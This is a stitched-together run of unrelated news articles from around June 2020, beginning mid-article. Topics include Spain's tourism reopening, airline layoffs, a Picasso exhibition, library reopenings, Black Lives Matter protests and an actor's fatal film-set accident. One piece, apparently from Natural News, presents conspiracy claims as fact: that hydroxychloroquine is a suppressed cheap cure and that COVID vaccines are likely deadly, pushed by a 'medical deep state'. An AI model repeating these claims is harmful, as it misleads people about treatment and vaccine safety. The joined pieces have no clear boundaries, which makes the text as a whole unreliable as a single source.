Government spokesperson Maria Jesus Montero has said that for now, there are no plans to change the July 1 date, with the exception of a few early projects such as one involving a group of 6,000 German tourists who are scheduled to visit the Balearic Islands ahead of that date. The Foreign Ministry said it did not see any contradiction between this pilot program and the ban on international tourism until July 1. Diplomatic sources told the Europa Press news agency that it will be an opportunity to test the countrys healthcare safety system and tracing capabilities before opening up to all visitors. Last year, Spain received 80 million international tourists.

Barcelona's La Barceloneta beach on Friday. Enric Fontcuberta (EFE)

The heads of government of Spain and Italy are seeking common criteria, so that there will be no differences among countries, said Montero at a news conference following an extraordinary Cabinet meeting on Friday. We all want safety; it is best to have an umbrella to cover us all.

On Wednesday, Spanish Congress approved a sixth and final extension to the state of alarm that underpins the confinement measures adopted by Spain in mid-March. This emergency state will end on June 21, although the deescalation plan is being speeded up, and half of the Spanish population will enter the last stage of the plan on Monday.

Thanks to the exemplary attitude of citizens, 52% of the population will be in Phase 3 on Monday, said Health Minister Salvador Illa, adding that in Phase 3, the regional governments will have full powers to decide how long this stage should last and when to enter the new normality. The central government is recommending that travel between Spanish regions not be allowed until after regions have exited Phase 3.

English version by Susana Urra.
In the past week, Latin American carrier LATAM Airlines Group LTM reported loss in first-quarter 2020 results. The drastic drop in passenger revenues due to the coronavirus-induced bleak air-travel caused this underperformance. Notably, the airline was also in news in the previous week when it filed for U.S. bankruptcy protection.

United Airlines UAL also grabbed headlines in the past week for reportedly announced plans to eliminate 13 officer roles as part of its cost-cutting initiatives to deal with the pandemic-led slump in air-travel demand.

With airlines fighting for survival due to this unprecedented crisis, updates on the unpleasant subject of layoffs were also being circulated by other carriers including American Airlines AAL.

Recap of the Past Weeks Most Important Stories

1. LATAM Airlines first-quarter 2020 loss (excluding $2.85 from non-recurring items) of 65 cents per share was wider than the Zacks Consensus Estimate of a loss of 15 cents and first-quarter 2019s reported loss of 10 cents. Total revenues of $2,266.1 million too decreased 6.8% year over year and also missed the Zacks Consensus Estimate of $2,453.3 million. The year-over-year deterioration was due to a 7.1% decline in passenger revenues, which accounted for 85.6% of the top line. The carrier transported 2.9% less passengers in the quarter on a year-over-year basis. Moreover, cargo revenues declined 4.2% in the March quarter. Further, capacity contracted 6.6% while traffic fell 10.1%. With traffic decline exceeding the decrease in capacity, load factor (% of seats filled by passengers) fell 3.1 percentage points to 81% in the period. Additionally, consolidated passenger unit revenues dipped 0.6 percentage points in the quarter under discussion. Meanwhile, total unit costs slipped 0.6% and fuel gallons consumed decreased 11.1% in the reported quarter.

2. American Airlines is planning to cut jobs in the management and support staff (MSS) team by 30%, per a letter to the employees addressed by Elise Eberwein, the companys executive vice president of People and Global Engagement. The airline is opening a voluntary early-out program for MSS team members to volunteer through Jun 10. In case there arent enough volunteers, the company will resort to involuntary layoffs. Those dismissed will remain on payroll through Sep 30 and continue to receive full compensation per the CARES Act guidelines.

Story continues

3. Per the plan to trim headcount, management at United Airlines stated that the 13 officer positions will be eliminated effective Jun 15. Eight of those removed will continue to be attached to the company through Sep 30. To avoid furloughs, the carrier is launching programs for employees to accept voluntary leave or early retirement. The company offered several of its flight attendants voluntary separation packages.

4. In a bid to protect its plots from taking involuntary furloughs, Delta Air Lines DAL is reportedly working with its pilots union to avoid involuntary furloughs of more than 2,300 pilots. Notably, the carrier carried out a reshuffling process to align its staff strength with the flight frequency, scheduled for summer 2021. In a "surplus" bid, Delta asked employees to apply for the available posts at one of its U.S. pilot bases. Following the results, Delta will transfer approximately 7,000 pilots to different locations or aircraft types, per the company's Master Executive Council (MEC) of the Air Line Pilots Association. However, 2,327 pilots remained unassigned.

5. With the coronavirus pandemic disrupting air-travel demand, this currently Zacks Rank #2 (Buy) European low-cost carrier Ryanair Holdings RYAAY reported a 99.5% year-over-year plunge in May traffic to merely 0.07 million guests. As wide-spread travel restrictions are still in place, the carriers LaudaMotion unit in Austria did not carry any passenger during the month. The carrier operated 701 scheduled flights in the period including those for rescue operations, relief and medicine supply on behalf of various EU governments. Moreover, 99% of those flights arrived on time.

You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

6. In a customer-friendly move, Southwest Airlines LUV extended its published flight schedule from Oct 31, 2020 to Jan 4, 2021. Through this expansion, the carrier aims to introduce additional flights and routes to cater to the anticipated spike in demand for leisure travel during autumn and winter holidays. The airline also plans to resume flights to Mexico and the Caribbean via Cancun, San Jose del Cabo/Los Cabos, Havana, Montego Bay and Nassau beginning Jul 1, 2020.



Performance

The following table shows the price movement of major airline players over the past week and during the past six months.

The table above shows that almost all airline stocks traded in the green in the past week, driven by the easing of coronavirus-triggered travel bans. The uptick led the NYSE ARCA Airline Index rally 10.2% to $57.15. Over the course of the past six months, the NYSE ARCA Airline Index has declined 46.4%.

What's Next in the Airline Space?

Investors will keenly await further coronavirus-related developments and their impact on air travel.

These Stocks Are Poised to Soar Past the Pandemic



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Southwest Airlines Co. (LUV) : Free Stock Analysis Report



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Delta Air Lines, Inc. (DAL) : Free Stock Analysis Report



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Over 20 years ago Eugenio Carmona, a lecturer in The History of Art at Malaga university, wrote an article titled 'Picasso after Picasso', reflecting upon the artist's ability to mutate, his capacity to always be present and up to date in the fiercest debates about art, despite the years that have passed since his death. Carmona attributes this to Picasso's diversity and multiplicity, which the artist saw "not as something chaotic but as an intimate truth in the fact of creation and his own existence". He believes that was Picasso's secret: "He defined for art how to be modern and, at the same time, he laid down the basis for transformation to something else, something completely up to date. That's why Picasso lives on. He is a mirror in which contemporary art looks at itself as it searches for its own image," he says.

Ceramics and bronze also feature in the new exhibition at the Picasso Museum. / Salvador Salas

Visitors to the Picasso Museum in Malaga (MPM) now have the chance to discover this for themselves at the new exhibition which was due to open at the end of March but had to be postponed due to the coronavirus crisis. 'Dialogos con Picasso. Coleccion 2020-2023', a collection of paintings, sculptures, drawings and prints, sheds new light on the work of this Malaga-born artist.

The first room gives an introduction to the exhibition, with explanatory texts and several portraits by Picasso, and then comes the first of several surprises: a tapestry created in 1958 of 'Las senoritas de Avignon' which he had painted en 1907. The artistic director of the MPM, Jose Lebrero, says Picasso kept it all his life and sometimes expressed his fascination for the way in which the artisans had modified the colours and even the composition of the original canvas.

The exhibition is displayed chronologically, providing an excellent illustration of Picasso's ability to change styles and set trends throughout his life. Many of his favourite themes which often featured in his works are here, including women and the minotaur. One of the rooms covers the period from 1936 to 1948, from the start of the Spanish Civil War to after WW2 and including works associated with his famous painting 'Guernica'.

The display ends with family portraits and some of Picasso's seminal works from the 1970s, showing the creative vigour he maintained all his life, even in his eighties. An artist "in permanent mutation," as Carmona described him. "He made it clear to his friends and admirers that his talent came from his mood and his mood was indelibly indebted to his origin". That origin was Malaga. Picasso has come home.
(Natural News) One of the most vocal media opponents to hydroxychloroquine, the generic anti-malaria drug that President Trump touted as having benefits, is NBC News.

For the past several weeks at least, NBC News has been churning out story after story claiming that hydroxychloroquine does not help prevent or treat the Wuhan coronavirus (COVID-19).

In late May, for instance, NBC News cited a study published in The Lancet claiming that hydroxychloroquine does not help coronavirus patients. Instead, hydroxychloroquine can lead to potentially deadly heart problems, NBC News Erika Edwards wrote.

This claim centers around the use of hydroxychloroquine either in isolation or with antibiotics, which is not how it is supposed to be used. As we previously noted, it is supposed to be used alongside zinc.

Edwards never mentions this, however, and instead paints a very scary picture about how hydroxychloroquine somehow increases the risk of heart problems, as well as death. The messaging, in other words, is that hydroxychloroquine might kill you and should be avoided.

On June 2, NBC News published yet another hit piece about how the New England Journal of Medicine (NEJM) issued an expression of concern over a study it published a month prior suggesting that hydroxychloroquine does not raise the risk of death in people with the Wuhan coronavirus (COVID-19).

Even though that paper relied on an extensive database containing health records from hundreds of hospitals around the world, the NEJM says that substantive concerns have been raised about the quality of this data.

The Lancet has likewise called out the study, insisting that both hydroxychloroquine and chloroquine increase the risk of death in hospitalized patients who have been declared to have the Wuhan coronavirus (COVID-19).

This all piggy-backs off of yet another hit piece published by NBC News back in April about how the Food and Drug Administration (FDA) had cautioned against doctors prescribing hydroxychloroquine to Wuhan coronavirus (COVID-19) patients.

The FDA is aware of reports of serious heart rhythm problems in patients with COVID-19 treated with hydroxychloroquine or chloroquine, often in combination with azithromycin, the agency wrote on its website towards the end of the month.

We are also aware of increased use of these medicines through outpatient prescriptions. Therefore, we would like to remind health care professionals and patients of the known risks associated with both hydroxychloroquine and chloroquine.

Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, talks to Dr. Paul Cottrell about how all of this deception and more is contributing to the rise of a total medical police state here in America:

NBC News is fake news

All of this came about, of course, in direct response to President Trumps endorsement of hydroxychloroquine, which immediately set off the medical deep state and its media lapdogs, including NBC News, to go after the drug with full force.

Because a growing number of doctors and medical studies are pointing to its usefulness in fighting the Wuhan coronavirus (COVID-19), hydroxychloroquine has been a constant target of NBC News, which continues to dredge up anything it can to knock the drug.

At the same time, NBC News has been pushing remdesivir and a future vaccine as real treatments for the Wuhan coronavirus (COVID-19), even though a vaccine for it does not yet exist.

On June 1, NBC News reported that remdesivir is supposedly helping moderate Wuhan coronavirus (COVID-19) patients improve, this according to Gilead Sciences Inc., the company developing it.

Remdesivir was supposed to be the new blockbuster drug that Big Pharma was going to unveil as one of the solutions to the Wuhan coronavirus (COVID-19) pandemic. It is also slated to cost a whole lot more than generic hydroxychloroquine, which is why the pharmaceutical industry and the mainstream media are spreading misinformation about hydroxychloroquine.

In early May, NBC News had reported that Deborah Birx was working hard to distribute remdesivir to hospitals nationwide, but was frustrated by the fact that the White House was pushing hydroxychloroquine instead.

While insisting that hydroxychloroquine is dangerous and useless, despite having FDA approval for decades, the FDA actually issued emergency use authorization for remdesivir because, again, this is the money-maker drug that the medical deep state wants people to take.

There are also new vaccines in the works for the Wuhan coronavirus (COVID-19) that NBC News is aggressively pushing without even knowing if they will actually work. On May 22, for instance, NBC News announced that massive testing is underway to deliver experimental Wuhan coronavirus (COVID-19) vaccines to hundreds of thousands of human guinea pigs over the next few months.

A reported half dozen or so vaccine candidates will be tested on people in an effort to deliver a safe and effective one by the end of 2020, NBC News claims, all the while failing to warn its readers that these jabs could be deadly and are likely far more threatening than hydroxychloroquine.

The takeaway here is that NBC News clearly does not care about peoples health. It is only tarnishing hydroxychloroquine while propping up remdesivir and vaccines because this is where the money is. Further, the apparent goal all along was to use the Wuhan coronavirus (COVID-19) crisis as a means to unleash a global vaccination campaign, not to easily cure the infected with pennies-per-pill hydroxychloroquine.

To keep up with the latest news about the Wuhan coronavirus (COVID-19) and the medias continued thwarting of the facts surrounding hydroxychloroquine, be sure to check out Pandemic.news.

Sources for this article include:

NBCNews.com

NaturalNews.com

NBCNews.com

NBCNews.com

NBCNews.com

NBCNews.com

NBCNews.com
Italian publishers, authors, libraries and bookshops to benefit from stimulus package.

Italy is to inject 40 million into the country's book industry, from bookshops to publishers, as part of a stimulus package to relaunch the economy devastated by the covid-19 emergency.

The measures are contained in a decree signed on 4 June by Italian culture minister Dario Franceschini, who announced the news on Twitter, saying the investment would support "bookstores, publishers, distributors, authors."

The move will see triple tax credits for bookshops and boost the acquisition of books by public libraries to the tune of 30 million.

These are the first measures pushed through under the emergency cultural business fund established by Italy's relaunch decree, with funding of 210 million this year, reports Italian news agency ANSA.

Editoria: 40 milioni per la filiera del #libro. Triplicato tax credit librerie e 30 milioni per acquisto straordinario di libri da parte di biblioteche. Cosi si sostengono anche librerie, editori, distributori, autori. Oggi ho firmato il decreto.https://t.co/zv0T0Jrt6L pic.twitter.com/6iBZaIlXLZ  Dario Franceschini (@dariofrance) June 4, 2020

Cover image: Umberto Eco's private libarary in Milan
GRAND RAPIDS, MI -- The Grand Rapids Public Library announced a four-phase plan to reopen beginning Monday, June 8.

In Phases I and II, buildings will be closed to the public. Phase III, a date to reopen buildings with limited services, has yet to be determined.

The library closed in March due to the coronavirus pandemic. Gov. Gretchen Whitmer on June 1, announced she was lifting her stay-at-home order, allowing certain businesses and other operations to reopen.

"We will move to Phase III when it is safe for our staff and community to do so, said John McNaughton, director of the Grand Rapids Public Library, in a Thursday, June 4 press release.

The last thing we want to do is rush to reopen and cause another uptick in COVID cases. Library services will look different for a while, just like every other industry. What remains consistent is our dedication to providing quality materials and services to our community.

On Monday, the library will enter Phase I of its plan, during which patrons may return borrowed material to outdoor book drops. People will not be charged fines for overdue materials.

Returned materials will be heat treated and quarantined for 72 hours to prevent the spread of germs and other contaminants, according to the news release.

"We know people want to use their library and we are committed to providing services to them with minimal risk to public health,'' McNaughton said.

Essential staff will return to buildings starting June 15, in preparation for the second phase of the reopening plan.

Phase II will launch on June 29 and will include GRPL To Go, a new curbside holds pick-up service. Patrons may place up to 25 holds using their online library account and pick them up at their preferred location.

Library staff will contact patrons once their materials are ready for pick-up, which can be done via their vehicle or by walking up. Holds placed before the pandemic will be available through the new service as well.

The library will also offer free printing during the second phase. Patrons may submit a document through a form to then be printed and picked up curbside.

More information on the librarys reopening plan is available at grpl.org/reopen.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus

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KALAMAZOO, MI -- Hundreds of students and their families flooded Bronson Park Friday afternoon to protest police brutality.

The Youth PEACEFUL Protest for BLM, which was organized by a group of students from Kalamazoo Central High School, attracted several hundred people to downtown Kalamazoo Friday, June 5, to protest police brutality and the killing of George Floyd and other African Americans before him.

The crowd met in the park before marching along downtown streets with chants of support for Floyd, who died after a white Minneapolis police officer continued to kneel on his neck for nearly nine minutes while he was handcuffed and pleaded that he could not breathe.

The student-led protest was the latest in a wave of protests in Kalamazoo and across the nation against police brutality in response to Floyds death on May 25.

All four officers involved in the incident captured on video were fired. Derek Chauvin, who knelt on Floyds neck, is charged with second-degree murder, and the others with aiding and abetting murder.

We are kids fighting issues that should have been solved 50 years ago with the Civil Rights Movement, a student speaker said from stage after the march. Here we are fighting the same fight as our grandparents.

The students carried signs with a variety of messages including that all lives cant matter until black lives matter and that society is facing two deadly viruses -- coronavirus and racism.

The crowd of people, including families with toddlers and infants, high school students, city leaders and Kalamazoo-area teachers and professors took shelter from the 85-degree heat under trees at the park where volunteers brought pizza, water bottles and medical supplies.

The turnout at Fridays event was more than what the student-organizers expected, Cristiana Worthams said.

It is a lot more than I hoped it to be, she said. Im surprised and excited.

Worthams, 14, stepped out of her comfort zone to help plan this march, her mother, Niki said,

My husband and I are both really proud, Worthams said of their daughter, a freshman at Kalamazoo Central.

One Lansing-area teenager attended the march with his mother. Chandler Boyd, 13, said he wanted to participate because black lives matter.

Boyd and his family recently moved to Lansing from Kalamazoo and still have family in the area, Sonjalita Hulbert said. Her young son wanted to make his voice heard and Fridays youth-led march was a safe place to do so, Hulbert said.

Hes very hurt, Hulbert said of her son. The family is multi-racial and Hulbert is tasked with teaching her son about race relations in America.

Raising a son in a multi-racial family is very challenging," she said.

Another teenager, a girl from Gull Lake High School, attended the march with her mother.

This is a cause I care about a lot, Rylee Hovanec, 16, said.

The Black Lives Matter movement is important for people to rally around right now. Young people like herself can get involved and influence their peers to make the future better, she said.

We stand together, Hovanecs sign read.

One toddler wore a shirt that said, At what age do I go from being handsome to a threat? Another persons sign read Hold space for youth voices.

Matt Weiler, the pastor at Sunnyside United Methodist Church in Kalamazoo, said he brought his children to the march because justice, anti-racism and Black Lives Matter are important values for our family.

Fridays youth-led march was a safe place to teach his young children about protesting so they know how to do it when theyre older, Weiler said. Teaching his three kids, ages 6, 9 and 11, about these values takes care, he said.

We very carefully talk about the privilege they have as white kids, Wieler said. We are very honest about the violence happening to our black and brown brothers and sisters.

The students worked with local nonprofit Fire Historical and Cultural Arts Collaborative and sought help from city commissioners and Mayor David Anderson to plan the event, Worthams said.

A student-led protest was also held Friday in East Grand Rapids.

Peaceful protests occurred in Kalamazoo over the weekend and during the day Monday but were followed by overnight vandalism that police said was caused by outside agitators.

People also gathered to protest Tuesday but were forced to leave by police using tear gas because of a 7 p.m. curfew imposed by city officials that has since been lifted. The curfew was canceled Wednesday afternoon and there were no reports of unrest Wednesday night.

Also Friday, were two White Coats 4 Black Lives vigils in Kalamazoo, which are associated with a national advocacy group of health care professionals addressing racism as a public health concern. One was hosted by the Family Health Center and the other by the Western Michigan University Homer Stryker M.D. School of Medicine.

Also on MLive:

New Kalamazoo school superintendent creates equity task force, voices support for protesters

Michigan police chief on leave, asks forgiveness for tweets calling protesters barbarians

Businesses stand in solidarity with Black Lives Matter movement after Kalamazoo vandalism
- Health CS Kagwe said 80% of COVID-19 patients were asymptomatic and thus did not need to be in hospitals

- Kagwe said the home-care approach would help de-congest some hospitals such as Mbagathi and KU hospitals

- He also Kenyans to refrain from stigma and called for all to join in the fight against COVID-19

The government is mulling over home-based care for COVID-19 patients as Mbagathi and Kenyatta University hospital well up with patients.

Health Cabinet Secretary Mutahi Kagwe said the approach would be feasible since 80% of the patients were asymptomatic and could be managed at home-based isolation centres.

READ ALSO: Ousted majority whip Benjamin Washiali says he does not regret his removal from Jubilee leadership

Kagwe said 80% of COVID-19 patients were asymptomatic and could recover from home. Photo: Ministry of Health.

Source: Facebook

READ ALSO: The full list of political casualties in Uhuru Kenyattas Jubilee Party cleansing

Speaking at Afya House on Thursday, June 4, Kagwe said such a care system will de-congest the two main isolation facilities and many patients would be taken home and monitored from there.

The CS said the ministry had finalised the programme and further urged Kenyans to desist from stigmatising the patients who will be receiving treatment from their homes.

"When see people come home lets understand they are no danger to us and therefore there is no need for stigmatization. You will be safe but the people concerned will have to take care of them because they do not need hospitalization, said the CS.

READ ALSO: Health CS Mutahi Kagwe says much-anticipated re-opening of country is just speculation

Acting Director General Patrick Amoth echoed similar sentiments and said the World Health Organisation had approved the system which will prevent the healthcare system from being overwhelmed.

"It is meant to decongest health facilities and prevent the healthcare system from being overwhelmed, Amoth said.

READ ALSO: Mother-in-law actor Charlie introduces son to his fans and the resemblance is incredible

Mbagathi has a bed capacity of 112 beds while KU hospital, which has 346 patients has set aside 456 beds for the patients.

The CS said this while announcing 124 new cases of coronavirus which were found after 2,640 samples were tested.

The number of cases in Kena stands at 2,340, while recoveries stood at 592 and 78 as the death toll.

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I was rejected by my family for taking care of orphans - Bishop Mary Wangui | Tuko TV.

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August 1963: Television and stage actor Roy Kinnear (1934 - 1988). (Photo by Frank Harrison/Fox Photos/Getty Images)

By the time it came to shooting Return of The Musketeers in 1988, the Richard Lester-directed movie adaptations of Alexander Dumas classic series of novels had already had their fair share of controversy.

Return was the threequel to 1973s Three Musketeers and The Four Musketeers: Miladys Revenge and the speed at which the second of these was released was the reason for the problem.

The cast and crew had been under the impression they were shooting one movie. But when all the footage had been shot, producers Ilya and Alexander Salkind decided to split it into two movies  without the actors consent.

They sued and won a settlement, the case resulting in the Screen Actors Guild creating what is colloquially known as The Salkind Clause, preventing filmmakers from doing the same thing in the future.

Detail from the poster for 1989's The Return of the Musketeers. (EFD)

Nevertheless, the stars  including Michael York, Oliver Reed, Frank Finlay and Richard Chamberlain  were happy to strap on their scabbards 15 years later once again under the direction of Lester, best known as the helmer of Beatles movies like A Hard Days Night. Also returning was the funny British actor called Roy Kinnear, father of Bond actor Rory, who was a close friend of Lester and frequently appeared in his productions.

Read more: Films that lost a fortune

Kinnear was born in Wigan in 1934 and had made his mark as a TV comedy performer, before starring in things like Help! (1965), Willy Wonka and the Chocolate Factory (1971) as Veruca Salts dad, as well as various sitcoms.

From right to left, actors Gene Wilder as Willy Wonka, Roy Kinnear as Mr. Salt and Julie Dawn Cole as Veruca Salt in the film 'Willy Wonka & the Chocolate Factory', 1971. (Photo by Silver Screen Collection/Getty Images)

He voiced Pippin the 1978s animated classic Watership Down. By the time he was asked to reprise his role as loyal servant Planchet in Return of the Musketeers, he was 54, successful and married to fellow actor Carmel Cryan with three young children.

As well as the producers sequel tampering, the franchise had previously been no stranger to accidents. During the shooting of the first instalment, Reed had to go hospital after getting a sword in his arm and York had almost lost an eye during a duel. The latter, who played DArtagnan, took to using his script as makeshift body armour under his costume.

Story continues

The stunt that eventually turned fatal doesnt on its face seem that terrifying. The four Musketeers and Kinnear were supposed to gallop on horses over a bridge in Toledo, Spain and grind to a halt. But the bridge was covered with flagstones and was slippery. The lead actors said it was too dangerous because of the drop either side. Even a stunt co-ordinator said it was unsafe.

British actors Roy Kinnear (1934 - 1988) and Carmel Cryan attend the premiere of melodrama film 'They Shoot Horses, Don't They?' at the Prince Charles Cinema, Soho, London, UK, 10th July 1970. (Photo by P. Shirley/Daily Express/Hulton Archive/Getty Images)

And thats not counting Kinnears dislike of horseriding. Ill ride if I am forced to, he once told Carmel, Ill never do it for pleasure. He was only given 15 minutes to practice for the shot.

Action was called and the actors rode across the bridge, but Kinnears horse lost its footing and the actor was thrown off, damaging his pelvis. His wife and kids had been with Kinnear for most of the production but had since returned to England. After he was whisked to the Ruber Internacional Hospital in Madrid, Carmel was informed and she flew back to Spain immediately.

I was unhappy when I saw the hospital, she told the Times in 2011. There was nobody around. My God, we must get out of this place, I told him, they dont care if you live or die.

25th March 1974: Stars of the film 'The Three Musketeers' from left to right; Simon Ward, Michael York, Christopher Lee, Raquel Welch, Geraldine Chaplin, Jean Pierre Cassel and Roy Kinnear. (yFrank Barratt/Keystone/Getty Images)

Doctors appeared to be happy with his progress, but hed lost five pints of blood. The next day, after being transferred to a nearby clinic, he had a heart attack and died.

Unsurprisingly, the films cast and crew were in shock. It was ghastly, recalled the movies screenwriter George MacDonald Fraser in his autobiography. He was such a jolly, witty character in the prime of life.

Read more: The films still coming to cinemas in 2020

After taking a day to think about it, the decision was made to continue shooting. We all unanimously came to the same decision to finish the film, said Michael York later to LBC. Primarily so that what Roy had contributed would endure.

But not everyone agreed they should continue. Christopher Lee said it would have been better to cancel the film, while co-stars like Richard Chamberlain were furious. In an era before CGI, the rest of Kinnears role was performed by a body double and a sound-a-like was subsequently hired to voice his lines.

(Original Caption) Beatle John Lennon (right) and Roy Kinnear play members of a British Platoon caught up in World War II's north Africa campaign in United Artists' How I Won the War, directed by Richard Lester.

A movie spokesperson argued the film would be a tribute and that they hadnt been wrong to allow Kinnear to do the stunt. There is no question that any risk would be taken, he told Screen International four days after the actors death. You dont take chances with key actors and in this picture Roy was a principal player.

However, his wife was convinced that someone was at fault and needed to be found responsible, spending years in a protracted legal battle with the producers for compensation. They in turn claimed it was the hospitals negligence, not them, that caused the stars death.

In 1994, she was vindicated after being awarded 650,000  the Spanish facility was eventually forced to pay a large amount of that settlement. No money, nothing, will ever help us get over the last six years of hell or the next 20 years or more without him, she said outside court.

English actors Roy Kinnear (1934 - 1988) and Carmel Cryan, UK, 2nd August 1969. (Photo by Norman Potter/Daily Express/Hulton Archive/Getty Images)

Director Richard Lester more or less retired after the incident, later telling Time Out, I really wont talk about The Return of the Musketeers, I never have and I wont now. But I think you can draw your own conclusions.

Michael York said in 1989, I would like to feel Roys life was not wasted, that the example of his accidental death can be used to safeguard, that it never happens to any other actor anywhere.

Fortunately, the Kinnear acting legacy continues. Son Rory, now 44, is a stage powerhouse best known internationally as intelligence wonk Tanner in the Daniel Craig 007 films.

Rory Kinnear as MI6 Chief of Staff Bill Tanner on a character poster for No Time To Die. (Eon/Universal)

Sadly, Roys oldest daughter Karina recently died of Covid-19 aged 48. Prior to that, she lived in Roy Kinnear House, a home for several young people with disabilities built and maintained through a charity established by her mother.

Twenty three years after his death, Rory remembered his father in The Times. The image the public had of my father and the person he really was overlap perfectly, he said. He was kind, generous, happy and very loving.
By Associated Press

CANBERRA: Thousands gathered in Australias capital on Friday to remind citizens that the racial inequality underscored by George Floyds death was not unique to the United States.

Australians have to understand that whats been going on the United States has been happening here for a long time, said Matilda House, an elder of the Ngambri-Ngunnawal family group who are the traditional owners of the Canberra region.

Australia had to move beyond a colonial attitude that blacks are only here to be walked on, trodden on and murdered, House told the crowd at the rally.

A demonstrator who interrupted House was shouted down in a heated confrontation with several protesters. The demonstrator eventually left.

School teacher Wendy Brookman, a member of the Butchulla indigenous people, said Australia should not accept more than 430 indigenous Australians dying in police custody or prison in the past three decades.

One of the protesters signs I cant breathe, drew a parallel between Floyds death in Minnesota on May 25 and the Australian indigenous experience.

They were among the last words of both Floyd and Aboriginal man David Dungay, who died in a prison hospital in 2015 while being restrained by five guards.

Police try to stop George Floyd rally in Sydney due to coronavirus fears

Meanwhile, Police challenged whether a Black Lives Matter protest planned for Saturday in Australia's largest city is too much of a virus risk, as demonstrators in the capital reminded the country that racial inequality is not a U.S. issue alone.

In Canberra, organizers of a rally Friday that attracted about 2,000 demonstrators handed out masks and hand sanitizer. Most protesters kept a recommended social distance but drew closer to hear speeches. Public gatherings are limited to 20 in Canberra, but police did not intervene.

School teacher Wendy Brookman, a member of the Butchulla indigenous people, said Australia should not accept more than 430 indigenous Australians dying in police custody or prison in the past three decades.

Were not here to jump on the bandwagon of whats happened in the United States, Brookman said. Were here to voice whats happening to our indigenous people.

One of the protesters signs I cant breathe, drew a parallel between George Floyds death in the U.S. on May 25 and the Australian indigenous experience. Those words were among the last spoken by Floyd and an indigenous Australian, David Dungay, who died in a prison hospital in 2015 while being restrained by five guards.

In South Korea, dozens gathered in front of the U.S. Embassy to condemn what they described as police brutality toward protesters in the U.S. They called for South Koreas government to speak against the racial discrimination and state violence of its ally and pushed for an anti-discrimination law to improve the lives of migrant workers, undocumented foreigners and other minorities.

As the U.S. civil society empowered and stood in solidarity with Korean pro-democracy activists in the past, we will now stand in solidarity with citizens in the United States, said activist Lee Sang-hyun, referring to South Koreans bloody struggles against military dictatorships that ruled the country until the late 1980s.

Holding a banner that read Justice for Floyd, most of the protesters wore black and some brought flowers in honor of Floyd, who died last month after a white Minneapolis police officer pressed his neck with a knee for several minutes while he pleaded for air.

Larger marches are planned in Seoul on Saturday to protest Floyds death.

In Australia, police in New South Wales state asked the Supreme Court to declare the Sydney protest illegal. Prime Minister Scott Morrison is among those who criticized the plans, saying of the protesters: I say to them, dont go.

State Premier Gladys Berejiklian said organizers proposed a protest far smaller than what is likely to now take place Saturday. She said protesters could not guarantee social distancing protocols would be followed.

All of us have given up so much and worked so hard to make sure we get on top of the virus, Berejiklian told reporters.

In Sydney, outdoor gatherings are restricted to 10 people, while up to 50 people can go to funerals, places of worship, restaurants, pubs and cafes. New South Wales and Victoria, where another large protest is planned in Melbourne, are Australia's worst-hit states by the virus.
It was an historical moment in Peterborough, seeing the police officers take a knee, holding Black Lives Matter (BLM) signs along with hundreds of other Peterboroughians in solidarity at the Black Lives Matter rally for George Floyd who was violently murdered by a White police officer.

When watching these protesters  especially the police officers taking a knee at the BLM rally  I was hoping that this was more than a photo op.

Hoping that all of these hundreds of people, holding their Black Lives Matter signs, chanting, I cant breathe, saying, No Justice, No Peace, understood the context of what it means to be in solidarity, in allyship with Black and Indigenous folk who have suffered from the ills of racism in society. Black lives matter.

George Floyds execution symbolizes the violent hatred of racism toward Blacks. His last breath while lying face down on the tar road was taken from him by a police officer kneeling on his neck. He was crying for mercy, in agony and pain, I cant breathe. George Floyds crime was that he was a Black man living in a racist society that values Blacks as less than human. Black lives matter

Ontario Premier Doug Ford had to clarify his comments that systemic racism in Canada is not similar to the U.S., stating that we dont have the same systemic deep roots that they had there for years.

Most White Canadians feel similarly to Premier Doug Ford in that the racial situation here is different from in the U.S. However, in Toronto, Black people are 20 times more likely to be shot dead by the police. One third of victims shot by the RCMP between 2007 and 2017 were Indigenous.

The Black community makes up 3.4 per cent of Canadas population and 9% of police fatalities. In 2017, police reported 2,073 criminal incidents in Canada that were motivated by hate, an increase of 47 per cent or 664 more incidents than reported the previous year, according to Statistics Canada. Black lives matter.

We, all people from all walks of life, need to come together to fight the ugliness of racism. It is not enough to say there is no racism. Not enough to attend BLM rallies.

Not enough to say I am not a racist. We must be anti-racist.

If you are neutral in situations of injustice, you have chosen the side of the oppressor. If an elephant has its foot on the tail of a mouse, and you say that you are neutral, the mouse will not appreciate your neutrality.

Desmond Tutu

We need our allies to stand up to racism and not be silent; to prevent, put a stop to the microaggression, cruel and inhumane acts of violence against our Blacks, Indigenous and other POC.

We need our allies for their BLM rally cry and their call to action to be more than lip service.

We need for our allies to stand in solidarity by:

 Giving space for Blacks, Indigenous and other POC to be heard.

 Creating anti-racism policies at your workplace, play space, educational institution and health-care facilities.

 Educating yourselves, your children (especially your children on what it means to be anti-racist).

 Reading books, listening to music, watching shows from other cultures by people who are different from your ethnicity.

 Developing friendships with the other and respecting the differences and celebrating the uniqueness of each other.

But above all, treat all with respect, compassion and empathy; share the Canadian kindness by giving brotherly and sisterly love to each other.

In solidarity we stand to support the fight for equality for all and to end racial injustice.
Mira Sorvino has been spending lockdown amid the coronavirus pandemic with her husband and four kids at her Malibu home.

And as beaches open up in Los Angeles County the 52-year-old actress hit the sand with her husband Christopher Backus, 38, and their daughter Lucia, eight.

The Romy And Michele's High School Reunion star was spotted with her phone on Thursday while out in Malibu as Christophe and Lucia splashed in the waves.

Beachside: Mira Sorvino, 52, enjoyed some sand and surf in Malibu on Thursday as she was joined by her husband Christopher Backus and their daughter Lucia, eight

Mira opted for a long sleeve wetsuit with boy short bottoms in a black fabric and blue detailing.

The daughter of GoodFellas actor Paul Sorvino teamed it with black swim shoes and had her blond hair tucked into a baby pink NAPA cap.

While she took a phone call from the sand, her husband Christopher hit the water with their youngest daughter.

Suited up: Christopher, 38, and Lucia both donned long sleeve wet suits while playing in the water

The Among Friends actor kept his limbs fully covered in a black wet suit, that featured grey tropical designs on the sleeves including palm trees and anchors.

